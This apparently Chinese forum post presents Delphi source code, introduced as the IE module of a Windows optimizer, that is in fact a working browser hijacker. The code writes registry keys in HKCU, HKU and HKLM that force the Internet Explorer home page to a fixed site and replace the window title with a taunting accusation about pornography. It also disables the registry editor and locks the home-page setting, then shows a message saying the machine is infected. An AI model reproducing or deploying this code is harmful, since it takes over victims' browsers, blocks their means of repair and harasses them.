其实修改的时候就是修改注册表的几个键值(bullshit)
看看这个delphi得源码，你就会知道怎么写一个windows优化大师中的IE部分的module了（模块出处http://lkpc.126.com ）
unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Buttons,Registry;

type
  TForm2 = class(TForm)
    BitBtn1: TBitBtn;
    Memo1: TMemo;
    procedure BitBtn1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.DFM}

procedure TForm2.BitBtn1Click(Sender: TObject);
var
  Reg: TRegistry;
  s1,s2,s3,s4,s5,s6,reg1,reg2,reg3,reg4,reg5,reg6:string;
begin
  Reg := TRegistry.Create;
  s1:='哈哈！你曾经浏览过色情网站，还不承认？这里就是证据！';
  s2:='http://lkpc.126.com';
  s3:='Start Page';
  s4:='Window Title';
  s5:='DisableRegistryTools';
  s6:='HomePage';
  reg1:='\Software\Microsoft\Internet Explorer\Main';
  reg3:='\Software\Microsoft\Windows\CurrentVersion\Policies\system';
  reg4:='\Software\Policies\Microsoft\Internet Explorer\Control Panel';
  reg2:='\.DEFAULT\Software\Microsoft\Internet Explorer\Main';
  reg5:='\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\System';
  reg6:='\.DEFAULT\Software\Policies\Microsoft\Internet Explorer\Control Panel';
  try
//修改 HKEY_CURRENT_USER;
   Reg.RootKey :=HKEY_CURRENT_USER;
   if Reg.OpenKey(reg1,true) then;
   begin
   Reg.Writestring(s4,s1);//标题
   Reg.Writestring(s3,s2);//缺省主页
   end;
   if Reg.OpenKey(reg3, True) then
   Reg.Writeinteger(s5,1);
   if Reg.OpenKey(reg4,true) then
    Reg.Writeinteger(s6,1);//解锁主页
//修改HKEY_USERS
   Reg.RootKey :=HKEY_USERS;
   if Reg.OpenKey(reg2,true) then;
   begin
   Reg.Writestring(s4,s1);//标题
   Reg.Writestring(s3,s2);//缺省主页
   end;
   if Reg.OpenKey(reg5, True) then
    Reg.Writeinteger(s5,1);
   if Reg.OpenKey(reg6,true) then
    Reg.Writeinteger(s6,1);
//修改 HKEY_LOCAL_MACHINE
   Reg.RootKey :=HKEY_LOCAL_MACHINE;
   if Reg.OpenKey(reg1,true) then;
   begin
   Reg.Writestring(s4,s1);//标题
   Reg.Writestring(s3,s2);//缺省主页
   end;
   if Reg.OpenKey(reg3, True) then
    Reg.Writeinteger(s5,1);
   if Reg.OpenKey(reg4,true) then
    Reg.Writeinteger(s6,1);//解锁主页

     Reg.CloseKey;
     MessageDlg('你已经中毒了！关闭所有IE窗口再重新打开！看看有什么症状！', mtInformation, [mbOk], 0);
  finally
    Reg.Free;
    inherited;
 end;
end;

end.